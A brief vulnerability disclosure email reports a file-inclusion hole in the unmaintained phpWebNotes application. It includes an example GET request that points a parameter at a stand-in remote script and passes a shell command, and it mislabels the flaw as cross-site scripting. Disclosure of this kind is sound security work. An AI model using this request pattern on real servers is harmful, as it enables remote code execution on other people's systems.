Hi security team!
I have found a security hole in a popular php application (not
maintained anymore). The hole already gets exploited - our server was
hacked that way two days ago. Probably hackers just use google to find
installations of phpwebnotes.
Version: phpWebNotes-2.0.0-pr1.tar.gz (last)
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the bug is in php_api.php line 77:
extract($REQUEST);
this allowes to change $t_path_core which is used in api.php:
require_once( $t_path_core . 'constants_inc.php' );
this can be used for a cross site scripting attack.
how does it work:
GET
http://server/xxxxx/api.php?t_path_core=http://pathtohackingscript?&cmd=id
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http://www.futureware.biz/webnotes/
http://sourceforge.net/projects/webnotes/
regards,
Norbert
